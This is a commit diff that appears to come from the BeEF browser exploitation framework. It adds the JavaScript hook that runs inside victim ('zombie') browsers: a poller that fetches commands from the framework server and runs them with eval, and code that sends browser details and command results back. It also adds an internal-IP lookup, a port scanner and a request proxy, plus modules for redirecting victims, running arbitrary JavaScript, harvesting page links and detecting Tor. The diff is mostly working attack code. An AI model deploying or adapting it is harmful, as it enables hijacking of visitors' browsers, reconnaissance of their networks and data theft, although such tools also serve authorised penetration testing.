if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
},
hasPersistentCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
}
};
beef.regCmp('beef.browser.cookie');

57
modules/beefjs/dom.js Normal file
View File

@@ -0,0 +1,57 @@
/*!
* @literal object: beef.dom
*
* Provides functionalities to manipulate the DOM.
*/
beef.dom = {
/**
* Creates a new element but does not append it to the DOM.
* @param: {String} the name of the element.
* @param: {Literal Object} the attributes of that element.
* @return: the created element.
*/
createElement: function(type, attributes) {
var el = document.createElement(type);
for(index in attributes) {
if(typeof attributes[index] == 'string') {
el.setAttribute(index, attributes[index]);
}
}
return el;
},
/**
* Creates an invisible iframe on the zombie's page.
* @return: the iframe.
*/
createInvisibleIframe: function() {
var iframe = this.createElement('iframe', {
width: '1px',
height: '1px',
style: 'visibility:hidden;'
});
document.body.appendChild(iframe);
return iframe;
},
/**
* Get links of the current page.
* @return: array of URLs.
*/
getLinks: function() {
var linksarray = [];
var links = document.links;
for(var i = 0; i<links.length; i++) {
linksarray = linksarray.concat(links[i].href)
};
return linksarray
}
};
beef.regCmp('beef.dom');

View File

@@ -0,0 +1,70 @@
// Base64 code from Tyler Akins -- http://rumkin.com
beef.encode = {};
beef.encode.base64 = {
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
do {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output + this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) + this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
} while (i < input.length);
return output;
},
decode: function(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = this.keyStr.indexOf(input.charAt(i++));
enc2 = this.keyStr.indexOf(input.charAt(i++));
enc3 = this.keyStr.indexOf(input.charAt(i++));
enc4 = this.keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
} while (i < input.length);
return output;
}
}
beef.regCmp('beef.encode.base64');

16
modules/beefjs/init.js Normal file
View File

@@ -0,0 +1,16 @@
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
// and will have a new session id. The new session id will need to know
// the brwoser details. So sendback the browser details again.
if( beef.pageIsLoaded ) {
beef.net.sendback_browser_details();
}
window.onload = function() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
beef.net.sendback_browser_details()
beef.updater.execute_commands();
beef.updater.check();
}
}

145
modules/beefjs/net.js Normal file
View File

@@ -0,0 +1,145 @@
/*!
* @literal object: beef.net
*
* Provides basic networking functions.
*/
beef.net = {
beef_url: "<%= @beef_url %>",
beef_hook: "<%= @beef_hook %>",
/**
* Gets an object that can be used for ajax requests.
*
* @example: var http = beef.net.get_ajax();
*/
get_ajax: function() {
// try objects
try {return new XMLHttpRequest()} catch(e) {};
try {return new ActiveXObject('Msxml2.XMLHTTP')} catch(e) {};
try {return new ActiveXObject('Microsoft.XMLHTTP')} catch(e) {};
// unsupported browser
console.log('You browser is not supported')
console.log('please provide details to dev team')
return false;
},
/**
* Build param string from hash.
*/
construct_params_from_hash: function(param_array) {
param_str = "";
for (var param_name in param_array) {
param_str = this.construct_params(param_str, param_name, param_array[param_name])
}
return param_str;
},
/**
* Build param string.
*/
construct_params: function(param_str, key, value) {
// if param_str is not a str make it so
if (typeof(param_str) != 'string') param_str = '';
if (param_str != "" ) { param_str += "&"; } // if not the first param add an '&'
param_str += key;
param_str += "=";
param_str += beef.encode.base64.encode(value);
return param_str;
},
/**
* Performs http requests.
* @param: {String} the url to send the request to.
* @param: {String} the method to use: GET or POST.
* @param: {Function} the handler to callback once the http request has been performed.
* @param: {String} the parameters to send for a POST request.
*
* @example: beef.net.raw_request("http://beef.com/", 'POST', handlerfunction, "param1=value1&param2=value2");
*/
raw_request: function(url, method, handler, params) {
var http;
var method = method || 'POST';
var params = params || null;
var http = this.get_ajax() || null;
http.open(method, url, true);
if(handler) {
http.onreadystatechange = function() {
if (http.readyState == 4) handler(http.responseText);
}
}
http.send(params);
},
/**
* Performs http requests with browoser id.
* @param: {String} the url to send the request to.
* @param: {String} the method to use: GET or POST.
* @param: {Function} the handler to callback once the http request has been performed.
* @param: {String} the parameters to send for a POST request.
*
* @example: beef.net.request("http://beef.com/", 'POST', handlerfunction, "param1=value1&param2=value2");
*/
request: function(url, method, handler, params) {
params += '&BEEFHOOK=' + BEEFHOOK; // append browser id
this.raw_request(url, method, handler, params);
},
/**
* Send browser details back to the framework. This function will gather the details
* and send them back to the framework
*
* @example: beef.net.sendback_browser_details();
*/
sendback_browser_details: function() {
// get hash of browser details
var details = beef.browser.getDetails();
// contruct param string
var params = this.construct_params_from_hash(details);
// return data to the framework
this.sendback("/init", 0, params);
},
/**
* Sends results back to the BeEF framework.
* @param: {String} The url to return the results to.
* @param: {Integer} The command id that launched the command module.
* @param: {String/Object} The results to send back.
* @param: {Function} the handler to callback once the http request has been performed.
*
* @example: beef.net.sendback("/commandmodule/prompt_dialog.js", 19, "answer=zombie_answer");
*/
sendback: function(commandmodule, command_id, results, handler) {
if(typeof results == 'object') {
s_results = '';
for(key in results) {
s_results += key + '=' + escape(results[key].toString()) + '&';
}
results = s_results;
}
if(typeof results == 'string' && typeof command_id == 'number') {
results += '&command_id='+command_id;
this.request(this.beef_url + commandmodule, 'POST', handler, results);
}
}
};
beef.regCmp('beef.net');

View File

@@ -0,0 +1,44 @@
/*!
* @literal object: beef.net.local
*
* Provides networking functions for the local/internal network of the zombie.
*/
beef.net.local = {
sock: new java.net.Socket(),
/**
* Returns the internal IP address of the zombie.
* @return: {String} the internal ip of the zombie.
* @error: return -1 if the internal ip cannot be retrieved.
*/
getLocalAddress: function() {
if(! beef.browser.hasJava()) return -1;
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostAddress();
} catch(e) { return -1; }
},
/**
* Returns the internal hostname of the zombie.
* @return: {String} the internal hostname of the zombie.
* @error: return -1 if the hostname cannot be retrieved.
*/
getLocalHostname: function() {
if(! beef.browser.hasJava()) return -1;
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostName();
} catch(e) { return -1; }
}
};
beef.regCmp('beef.net.local');

View File

@@ -0,0 +1,48 @@
/*!
* @literal object: beef.net.portscanner
*
* Provides port scanning functions for the zombie. A mod of pdp's scanner
*
* Version: '0.1',
* author: 'Petko Petkov',
* homepage: 'http://www.gnucitizen.org'
*/
beef.net.portscanner = {
scanPort: function(callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
},
scanTarget: function(callback, target, ports_str, timeout)
{
var ports = ports_str.split(",");
for (index = 0; index < ports.length; index++) {
this.scanPort(callback, target, ports[index], timeout);
};
}
};
beef.regCmp('beef.net.portscanner');

View File

@@ -0,0 +1,54 @@
/*!
* @literal object: beef.net.requester
*
* request object structure:
* + method: {String} HTTP method to use (GET or POST).
* + host: {String} hostname
* + query_string: {String} The query string is a part of the URL which is passed to the program.
* + uri: {String} The URI syntax consists of a URI scheme name.
* + headers: {Array} contain the operating parameters of the HTTP request.
*/
beef.net.requester = {
handler: "requester",
send: function(requests_array) {
var http = beef.net.get_ajax();
for(i in requests_array) {
request = requests_array[i];
// initializing the connection
http.open(request.method, request.uri, true);
// setting the HTTP headers
for(index in request.headers) {
http.setRequestHeader(index, request.headers[index]);
}
http.onreadystatechange = function() {
if (http.readyState == 4) {
headers = http.getAllResponseHeaders();
body = http.responseText;
// sending the results back to the framework
beef.net.request(
beef.net.beef_url+'/'+beef.net.requester.handler,
'POST',
null,
"id="+request.id+"&body="+escape(headers+"\n\n"+body)
);
}
}
if(request.method == 'POST' && request.params) {
http.send(request.params);
} else {
http.send(null);
}
}
}
};
beef.regCmp('beef.net.requester');

89
modules/beefjs/updater.js Normal file
View File

@@ -0,0 +1,89 @@
/*!
* @Literal object: beef.updater
*
* Object in charge of getting new commands from the BeEF framework and execute them.
*/
beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting.
timeout: 10000,
// A lock.
lock: false,
// An object containing all values to be registered and sent by the updater.
objects: new Object(),
/*
* Registers an object to always send when requesting new commands to the framework.
* @param: {String} the name of the object.
* @param: {String} the value of that object.
*
* @example: beef.updater.regObject('java_enabled', 'true');
*/
regObject: function(key, value) {
this.objects[key] = escape(value);
},
// Checks for new commands from the framework and runs them.
check: function() {
if(this.lock == false) {
if(beef.commands.length > 0) {
this.execute_commands();
} else {
this.get_commands();
}
}
setTimeout("beef.updater.check();", beef.updater.timeout);
},
// Gets new commands from the framework.
get_commands: function(http_response) {
try {
this.lock = true;
beef.net.request(
beef.net.beef_url + beef.net.beef_hook,
'POST',
function(response) { if(response.length > 0) {eval(response); beef.updater.execute_commands();} },
beef.updater.build_updater_params()
);
} catch(e) {
this.lock = false;
return;
}
this.lock = false;
},
// Builds the POST parameters to send back to the framework when requesting new commands.
build_updater_params: function() {
ret = 'beef_js_cmps=' + beef.components.join(',')
for(key in this.objects) {
ret += '&' + key + '=' + escape(this.objects[key]);
}
return ret;
},
// Executes the received commands if any.
execute_commands: function() {
if(beef.commands.length == 0) return;
this.lock = true;
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {
command();
} catch(e) {}
}
this.lock = false;
}
}
beef.regCmp('beef.updater');

View File

@@ -0,0 +1,6 @@
beef.execute(function() {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape('Redirected to: <%= @redirect_url %>'), function(){window.location = "<%= @redirect_url %>"});
});

View File

@@ -0,0 +1,36 @@
module BeEF
module Modules
module Commands
class Site_redirect < BeEF::Command
def initialize
super({
'Name' => 'Site Redirect',
'Description' => %Q{
This module will redirect the selected zombie browsers to the address
specified in the 'Redirect URL' input.
},
'Category' => 'Browser',
'Author' => ['wade', 'vo'],
'Data' => [
['ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use_template!
end
def callback
save({'result' => @datastore['result']})
end
end
end
end
end

View File

@@ -0,0 +1,5 @@
beef.execute(function() {
alert("<%== format_multiline(@text) %>");
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>");
});

View File

@@ -0,0 +1,39 @@
module BeEF
module Modules
module Commands
class Alert_dialog < BeEF::Command
#
# Defines and set up the command module.
#
def initialize
super({
'Name' => 'Alert Dialog',
'Description' => 'Sends an alert dialog to the victim',
'Category' => 'Misc',
'Author' => 'bm',
'Data' => [['name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px']],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
# This tells the framework to use the file 'alert.js' as the command module instructions.
use_template!
end
def callback
content = {}
content['User Response'] = "The user clicked the 'OK' button when presented with an alert box saying: '"
content['User Response'] += @datastore['text'] + "'"
save content
end
end
end
end
end

View File

@@ -0,0 +1,5 @@
beef.execute(function() {
var answer = prompt("<%== @question %>","")
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer));
});

View File

@@ -0,0 +1,39 @@
module BeEF
module Modules
module Commands
class Prompt_dialog < BeEF::Command
def initialize
super({
'Name' => 'Prompt Dialog',
'Description' => 'Sends a prompt dialog to the victim',
'Category' => 'Misc',
'Author' => 'bm',
'Data' => [['name' =>'question', 'ui_label'=>'Prompt text']],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use_template!
end
#
# This method is being called when a zombie sends some
# data back to the framework.
#
def callback
# return if @datastore['answer']==''
save({'answer' => @datastore['answer']})
end
end
end
end
end

View File

@@ -0,0 +1,18 @@
beef.execute(function() {
var result;
try {
result = function() {<%= @cmd %>}();
} catch(e) {
for(var n in e)
result+= n + " " + e[n] + "\n";
}
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
});

View File

@@ -0,0 +1,47 @@
#TODO: review when multi zombie hooks are available
module BeEF
module Modules
module Commands
class Raw_javascript < BeEF::Command
def initialize
super({
'Name' => 'Raw Javascript',
'Description' => %Q{
This module will send the code entered in the 'JavaScript Code' section to the selected
zombie browsers where it will be executed. Code is run inside an anonymous function and the return
value is passed to the framework. Multiline scripts are allowed, no special encoding is required.
},
'Category' => 'Misc',
'Author' => ['wade','vo'],
'Data' =>
[
['name' => 'cmd', 'ui_label' => 'Javascript Code',
'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';",
'type' => 'textarea', 'width' => '400px', 'height' => '100px'],
],
'File' => __FILE__ ,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use_template!
end
#
# This method is being called when a zombie sends some
# data back to the framework.
#
def callback
save({'result' => @datastore['result']})
end
end
end
end
end

View File

@@ -0,0 +1,6 @@
beef.execute(function() {
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "links="+escape(beef.dom.getLinks().toString()));
});

View File

@@ -0,0 +1,38 @@
module BeEF
module Modules
module Commands
class Collect_links < BeEF::Command
def initialize
super({
'Name' => 'Collect Links',
'Description' => %Q{
This module will retrieve HREFs from the target page
},
'Category' => 'Recon',
'Author' => ['vo'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Links'] = @datastore['links']
save content
end
end
end
end
end

View File

@@ -0,0 +1,9 @@
beef.execute(function() {
var sessionResult = beef.browser.cookie.hasSessionCookies("<%= @cookie %>");
var persistentResult = beef.browser.cookie.hasPersistentCookies("<%= @cookie %>");
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "has_session_cookies="+sessionResult+
"&has_persistent_cookies="+persistentResult+"&cookie=<%= @cookie %>");
});

View File

@@ -0,0 +1,40 @@
module BeEF
module Modules
module Commands
class Detect_cookies < BeEF::Command
def initialize
super({
'Name' => 'Detect Cookie Support',
'Description' => %Q{
This module will check if the browser allows a cookie with specified name to be set.
},
'Category' => 'Recon',
'Data' => [['name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie']],
'Author' => ['vo'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use 'beef.browser.cookie'
use_template!
end
def callback
content = {}
content['Has Session Cookies'] = @datastore['has_session_cookies']
content['Has Persistent Cookies'] = @datastore['has_persistent_cookies']
content['Cookie Attempted'] = @datastore['cookie']
save content
end
end
end
end
end

View File

@@ -0,0 +1,35 @@
beef.execute(function() {
if (document.getElementById('torimg')) {
return "Img already created";
}
var img = new Image();
img.setAttribute("style","visibility:hidden");
img.setAttribute("width","0");
img.setAttribute("height","0");
img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif';
img.id = 'torimg';
img.setAttribute("attr","start");
img.onerror = function() {
this.setAttribute("attr","error");
};
img.onload = function() {
this.setAttribute("attr","load");
};
document.body.appendChild(img);
setTimeout(function() {
var img = document.getElementById('torimg');
if (img.getAttribute("attr") == "error") {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');
} else if (img.getAttribute("attr") == "load") {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');
} else if (img.getAttribute("attr") == "start") {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');
};
document.body.removeChild(img);
}, <%= @timeout %>);
});

View File

@@ -0,0 +1,38 @@
module BeEF
module Modules
module Commands
class Detect_tor < BeEF::Command
def initialize
super({
'Name' => 'Detect Tor',
'Description' => 'This module will detect if the zombie is currently using TOR (The Onion Router).',
'Category' => 'Recon',
'Author' => ['pdp', 'wade', 'bm', 'xntrik'],
'Data' =>
[
['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use 'beef.net.local'
use_template!
end
def callback
return if @datastore['result'].nil?
save({'result' => @datastore['result']})
end
end
end
end
end

72
public/css/base.css Normal file
View File

@@ -0,0 +1,72 @@
#header .right-menu {
float: right;
margin: 10px;
word-spacing: 5px;
font: 11px arial, tahoma, verdana, helvetica;
color:#000;
}
.x-grid3-cell-inner, .x-grid3-hd-inner {
white-space: normal; /* changed from nowrap */
}
.x-grid-empty {
text-align:center;
}
/*
* Status bar
****************************************/
.x-statusbar .x-status-busy,
.x-statusbar .x-status-error,
.x-statusbar .x-status-valid {
background: transparent no-repeat 3px 2px;
padding-left: 25px !important;
padding-bottom: 2px !important;
}
.x-statusbar .x-status-busy {
background-image: url(../images/statusbar/loading.gif);
}
.x-statusbar .x-status-error {
color: #C33;
background-image: url(../images/statusbar/exclamation.gif);
}
.x-statusbar .x-status-valid {
background-image: url(../images/statusbar/accept.png);
}
.x-tree-node-leaf .x-tree-node-icon {
width: 13px;
height: 13px;
padding-top: 3px;
}
/*
* Ext.beef.msg
****************************************/
.msg .x-box-mc {
font-size:14px;
}
#msg-div {
position:absolute;
left:35%;
top:20px;
width:250px;
z-index:20000;
}
/*
* Exploit Panel
****************************************/
.x-form-item-label, .x-form-element {
font: 11px tahoma,arial,helvetica,sans-serif;
}
.command-module-panel-description {
margin-bottom: 10px;
padding-top: 4px;
}

6764
public/css/ext-all.css Normal file

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 1010 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1005 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 810 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 810 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 810 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 810 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 851 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 839 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 828 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 861 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 846 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 898 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 937 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 139 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 863 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 937 B

Some files were not shown because too many files have changed in this diff Show More